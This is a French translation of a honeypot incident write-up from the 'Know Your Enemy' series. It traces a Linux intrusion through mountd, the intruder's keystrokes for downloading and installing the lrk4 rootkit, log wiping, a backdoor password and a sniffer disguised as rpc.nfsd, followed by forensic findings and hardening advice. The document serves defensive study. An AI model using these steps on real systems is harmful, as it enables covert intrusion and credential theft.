Cet article a t traduit de l'anglais par OUAH (OUAH_@hotmail.com), 
La version originale est de Lance Spitzner (lspitz@ksni.net) et peut-tre obtenue http:/www.enteract.net/~lsiptz.


Know Your Enemy III: Ils ont obtenu le statut root 

Cet article est la troisime partie d'une srie se concentrant sur le script kiddie. Le premier article parlait de la faon dont les script kiddies scannent, identifient, et exploitent des vulnrabilits. Le deuxime article se concentre sur la faon dont vous pouvez dtecter ces tentatives, identifier quels outils ils utilisent et quelles vulnrabilits ils recherchent. Cet article, le troisime, se concentre sur ce qui se produit une fois qu'ils obtiennent le statut root. Spcifiquement, comment ils cachent leurs traces et ce qu'ils font aprs.


Qui est le script kiddie?

Comme nous avons vu dans le premier article, le script kiddie n'est pas tant une personne, c'est plus une stratgie, la stratgie du scannage pour une intrusion facile. Il ne recherche pas une information ou une compagnie particulire, leur but est d'obtenir le statut root de la manire la plus facile possible. Les hackers font cela en se concentrant sur un petit nombre d'exploits et puis en recherchant les cibles sur l'entier du net pour tel exploit. Il ne faut pas sous-estimer cette stratgie, car tt ou tard ils trouveront une machine vulnrable.

Une fois qu'ils ont trouv un systme vulnrable et qu'ils ont obtenu le statut root, la premire chose qu'ils font est d'assurer leurs arrires. Ils veulent s'assurer que vous ne saurez pas que votre systme a t hack et que vous ne pourrez ni voir ni noter leurs actions. Ensuite, ils emploient souvent votre systme pour scaner d'autres rseaux ou surveiller silencieusement le vtre. Pour avoir une meilleure comprhension de la faon dont les hackers arrivent leurs fins, nous allons suivre pas pas les tapes de compromission d'un systme par un hacker utilisant les techniques du script kiddie. Notre systme, appel mozart, est un ordinateur Linux avec la Red Hat 5.1. Le systme a t compromis le 27 avril 1999. Plus bas on a retranscrit les vrais techniques que notre hacker a utilises, avec les logs du systme et les frappes au clavier pour vrifier chaque tape. Tous les logs du systme ont t enregistrs sur un serveur protg syslog, toutes les frappes ont t captures avec la technique du sniffing. Pour plus d'information sur la manire dont toutes ces informations ont peu tre captures, jetez un coup d'oeil sur "To Build a Honeypot". Dutant tout l'article nous dirons "il" pour le hacker bien que nous n'avons aucune ide s'il s'agit d'un homme ou d'une femme.


L'exploit

Le 27 avril 00:13, notre rseau a t scann par l'ordinateur 1Cust174.tnt2.long-branch.nj.da.uu.net pour plusieurs vulnrabilits dont le bug imap. Notre
hacker est venu sans discrtion vu que chaque ordinateur de notre rseau a t scann (pour plus d'information sur la dtection et l'analyse des scans, allez voir le deuxime article de
cette srie).

Apr 27 00:12:25 mozart imapd[939]: connect from 208.252.226.174 
Apr 27 00:12:27 bach imapd[1190]: connect from 208.252.226.174 
Apr 27 00:12:30 vivaldi imapd[1225]: connect from 208.252.226.174 

Apparemment il a du trouv quelque chose qui lui plaisait puisqu'il est revenu 06:52 et 16:47 le mme jour. Il a commenc avec un scannage plus complet mais cette fois se fixant seulement sur mozart. Il identifia une vulnrabilit et lana une attaque qui fut couronne de succs contre mountd, une vulnrabilit gnralement connue pour la Red Hat 5.1. Ici nous voyons dans 
/var/log/messages le hacker qui obtient le statut de root. L'outil utilis tait certainement
ADMmountd.c ou quelque chose du style.

Apr 27 16:47:28 mozart mountd[306]: Unauthorized access by NFS client 208.252.226.174. 
Apr 27 16:47:28 mozart syslogd: Cannot glue message parts together 
Apr 27 16:47:28 mozart mountd[306]: Blocked attempt of 208.252.226.174 to mount 
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P 
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ 

Juste aprs cette exploit, nous voyons dans /var/log/messages le hacker devenir root en se telnetant comme l'user crack0 puis faisant un su l'user rewt. Chacun de ces deux comptes ont t ajout par l'exploit. Notre hacker a maintenant le contrle total de notre systme.

Apr 27 16:50:27 mozart login[1233]: FAILED LOGIN 2 FROM
1Cust102.tnt1.long-branch.nj.da.uu.net FOR crak, User not known to the underlying
authentication module 
Apr 27 16:50:38 mozart PAM_pwdb[1233]: (login) session opened for user crak0 by (uid=0) 
Apr 27 16:50:38 mozart login[1233]: LOGIN ON ttyp0 BY crak0 FROM
1Cust102.tnt1.long-branch.nj.da.uu.net 
Apr 27 16:50:47 mozart PAM_pwdb[1247]: (su) session opened for user rewt by crak0(uid=0)


Cacher ses traces

Le hacker est maintenant root sur votre systme. Comme nous allons le voir maintenant, la suite
pour lui est de s'assurer de ne pas se faire attrapper. D'abord il regarde s'il y a quelqu'un d'autre sur l'ordinateur.

[crak0@mozart /tmp]$ w 
4:48pm up 1 day, 18:27, 1 user, load average: 0.00, 0.00, 0.00 
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 
crak0 ttyp0 1Cust102.tnt1.lo 4:48pm 0.00s 0.23s 0.04s w 

Aprs s'tre assurer qu'il n'y ait personne l'horizon, il voudra cacher tout ce qu'il veut faire. Ceci ncessite normalement d'enlever n'importe quelle trace des fichiers logs et de remplacer les excutables du systme, par exemple pour ps et netstat, par des trojans systme, pour que vous ne puissiez voir le hacker sur votre propre systme. Une fois que les trojans ont t installs, le hacker a obtenu le contrle total de votre systme et vous ne le saurez probablement jamais. De mme qu'il existe des scripts automatiques pour hacker, il y a aussi des outils automatiss pour cacher les hackers, souvent appels rootkits. Un des rootkits les plus connus est lrk4. En excutant le script, plusieurs fichiers importants sont remplacs ce qui a pour but de cacher le hacker aprs quelques secondes. Pour des informations plus dtailles sur les rootkits, regardez le fichier README qui accompagne lrk4. Cela vous donnera une meilleure ide de la faon dont les rootkits fonctionnent en gnral. Je vous recommande aussi de regarder "hide and seek", un document intressant pour cacher ses traces.

Quelques minutes aprs avoir compromis notre systme, nous voyons le hacker downloader le rootkit et implmenter le script avec la commande "make install". Ci-dessous, les vrais frappes au clavier que le hacker a utilis pour se cacher.

cd /dev/ 
su rewt 
mkdir ". " 
cd ". " 
ftp technotronic.com 
anonymous 
fdfsfdsdfssd@aol.com 
cd /unix/trojans 
get lrk4.unshad.tar.gz 
quit 
ls 
tar -zxvf lrk4.unshad.tar.gz 
mv lrk4 proc 
mv proc ". " 
cd ". " 
ls 
make install 

Remarquez que la premire chose que notre hacker fit est de crer le rpertoire cach ". " pour cacher son rootkit. Ce rpertoire n'apparait pas avec la commande "ls", et apparais comme le
rpertoire local avec la commande "ls -la". Une faon de localiser le rpertoire est d'utiliser
la commande "find" (soyez sur que vous ayez en l'intgrit de votre excutable "find").

mozart #find / -depth -name "*.*" 
/var/lib/news/.news.daily 
/var/spool/at/.SEQ 
/dev/. /. /procps-1.01/proc/.depend 
/dev/. /. 
/dev/. 

Notre hackeur a t quelque peu laborieux en utilisant des trojans mais a eu une approche simpliste pour effacer les fichiers logs. Au lieu d'utiliser des outils de nettoyage comme zap2 ou clean, il a copi le fichier /dev/null sur les fichiers /var/run/utmp et /var/log/utmp tout en effaant /var/log/wtmp. Vous savez peut-tre que quelque chose ne joue pas quand ces fichiers
logs ne contiennent aucune donne ou si vous obtenez l'erreur suivante:

[root@mozart sbin]# last -10 
last: /var/log/wtmp: No such file or directory 
Perhaps this file was removed by the operator to prevent logging last info. 


L'tape suivante

Une fois qu'un systme a t compromis, les hackers essayent de faire une de ces deux choses:
Premirement ils utilisent votre systme comme plateforme de lancement en scannant ou en forant d'autres systmes. En second lieu, ils dcident d'tendre leur prise en voyant ce qu'ils peuvent apprendre de votre systme comme des comptes sur d'autres systmes. Notre hacker opta pour la solution deux. Il implmenta un sniffer sur notre systme qui capturerait tout le trafic de notre rseau y compris les sessions telnet et ftp sur d'autres systmes. De cette faon il pourrait connatre les logins et les passwords. Nous pouvons voir notre systme passer en mode transparent (promiscuous mode) dans /var/log/messages peu aprs l'intrusion.


Apr 27 17:03:38 mozart kernel: eth0: Setting promiscuous mode. 
Apr 27 17:03:43 mozart kernel: eth0: Setting promiscuous mode. 

Aprs avoir implment les trojans, nettoy les logs et excut le sniffer notre hacker se
dconnecta du systme. Cependant, nous le verrons revenir le lendemain pour retirer les rsultats de ses captures du trafic.


Contrle des dgts

Puisque notre ami s'est dconnect, cela me donna une chance de passer en revue le systme et de voir ce qui s'tait exactement pass. J'tais extrmement intress de voir ce qui avait t altr et o il stockait les informations du sniffeur. D'abord, j'identifiai rapidement avec tripwire quels fichiers avaient t modifi. Remarque: soyez sur de lancer tripwire depuis une source valide. J'aime lancer une version statically-linked de tripwire d'un lecteur en lecture seule. Tripwire montra les choses suivantes:

added: -rw-r--r-- root 5 Apr 27 17:01:16 1999 /usr/sbin/sniff.pid 
added: -rw-r--r-- root 272 Apr 27 17:18:09 1999 /usr/sbin/tcp.log 
changed: -rws--x--x root 15588 Jun 1 05:49:22 1998 /bin/login 
changed: drwxr-xr-x root 20480 Apr 10 14:44:37 1999 /usr/bin 
changed: -rwxr-xr-x root 52984 Jun 10 04:49:22 1998 /usr/bin/find 
changed: -r-sr-sr-x root 126600 Apr 27 11:29:18 1998 /usr/bin/passwd 
changed: -r-xr-xr-x root 47604 Jun 3 16:31:57 1998 /usr/bin/top 
changed: -r-xr-xr-x root 9712 May 1 01:04:46 1998 /usr/bin/killall 
changed: -rws--s--x root 116352 Jun 1 20:25:47 1998 /usr/bin/chfn 
changed: -rws--s--x root 115828 Jun 1 20:25:47 1998 /usr/bin/chsh 
changed: drwxr-xr-x root 4096 Apr 27 17:01:16 1999 /usr/sbin 
changed: -rwxr-xr-x root 137820 Jun 5 09:35:06 1998 /usr/sbin/inetd 
changed: -rwxr-xr-x root 7229 Nov 26 00:02:19 1998 /usr/sbin/rpc.nfsd 
changed: -rwxr-xr-x root 170460 Apr 24 00:02:19 1998 /usr/sbin/in.rshd 
changed: -rwxr-x--- root 235516 Apr 4 22:11:56 1999 /usr/sbin/syslogd 
changed: -rwxr-xr-x root 14140 Jun 30 14:56:36 1998 /usr/sbin/tcpd 
changed: drwxr-xr-x root 2048 Apr 4 16:52:55 1999 /sbin 
changed: -rwxr-xr-x root 19840 Jul 9 17:56:10 1998 /sbin/ifconfig 
changed: -rw-r--r-- root 649 Apr 27 16:59:54 1999 /etc/passwd 

Comme vous pouvez le voir plusieurs excutables et fichiers ont t modifi. Il n'y avait aucune nouvelle entre dans /etc/passwd (il avait prudemment enlev les comptes de crak0 et de rewt) donc notre hacker avait du laisser une backdoor dans un des excutables modifis. En outre, deux fichiers avaient t ajouts, /usr/sbin/sniff.pid et /usr/sbin/tcp.log. Sans surprise /usr/sbin/sniff.pid tait le pid du sniffer et /usr/sbin/tcp.log tait o il stockait toutes les informations captures. Se basant sur /usr/sbin/sniff.pid, le sniffer s'est avr tre rpc.nfsd. Notre hacker avait compil un sniffer, ici linsniffer, et remplaa rpc.nfsd par celui-ci. Cela lui assurait que si le systme tait reboot, le sniffer redmarrait le processus d'initialisation. Les lignes suivantes confirment que rpc.nfsd est le sniffer:

mozart #strings /usr/sbin/rpc.nfsd | tail -15 
cant get SOCK_PACKET socket 
cant get flags 
cant set promiscuous mode 
----- [CAPLEN Exceeded] 
----- [Timed Out] 
----- [RST] 
----- [FIN] 
%s => 
%s [%d] 
sniff.pid 
eth0 
tcp.log 
cant open log 
rm %s 

Aprs avoir pass en revue le systme et compris ce qui s'tait pass, je quittai le systme.
J'tais curieux de savoir ce que ferait le hacker aprs. Je n'ai pas voulu qu'il st que je l'avais attrap, ainsi j'ai enlev toutes mes entres de /usr/sbin/tcp.log.


Les suites du script kiddie

Notre hacker revint le jour suivant. En sauvant ses frappes au clavier, je pus rapidement
identifier la backdoor, /bin/login tais infecte par un trojan. Cet excutable utilis pour les connexions telnet tait configur pour donner au compte "rewt" les privilges root avec le mot de passe "satori". Le mot de passe "satori " est le mot de passe par dfaut pour tous les excutables trojaned que le rootkit lrk4 utilise, une information radicale pour savoir si 
votre systme a t compromis.

Le hacker vrifiait son sniffer pour s'assurer qu'il fonctionnait toujours. En outre, il voulait voir si un compte avait t captur depuis la veille. Vous pouvez voir ses frappes au clavier sur "keystrokes.txt". Remarquez qu' la fin du log notre hacker fit un kill sur le sniffer. Ce fut la dernire chose qu'il fit avant de finir sa session. Cependant, il revint rapidement aprs quelques minutes avec une autre session juste pour redmarrer le sniffer. Je ne sais pas vraiment pourquoi il fit cela.

Cette histoire de vrification du systme continua encore plusieurs jours. Chaque jour le hacker voulait se connecter au systme pour voir si le sniffer fonctionnait et s'il avait pris des donnes intressantes. Aprs le quatrime jour, j'en eus assez et dconnectai le systme. J'avais appris assez des actions du hackeur et n'allais rien apprendre de nouveau.


Conclusion

Nous avons vu dans cet article comment un hacker peut agir, du dbut la fin, une fois qu'il est devenu root sur votre systme. Ils commencent souvent par vrifier si quelqu'un est sur le systme. Une fois qu'ils savent que la voie est libre, ils dissimulent leurs traces en nettoyant les fichiers logs et en remplaant ou en modifiant des dossiers importants. Une fois qu'ils sont cachs de manire sure, ils passent de nouvelles et plus prjudiciables activits. Leur tactique est de rester, vu que les nouveaux exploits sont constamment dcouverts. Pour mieux se protger contre ces menaces, je vous recommande de scuriser vos ordinateurs. Une scurit de base vous protgera contre la menace de la plupart des script kiddies, contre le fait qu'ils forcent un systme sans trop de problmes. Pour se faire une ide sur la faon de scuriser votre systme, allez voir "Armoring Linux" ou "Armoring Solaris". S' il est trop tard et que vous pensez que votre systme a dj t compromis, un bon dpart est le site du CERT "Recovering from an Incident" .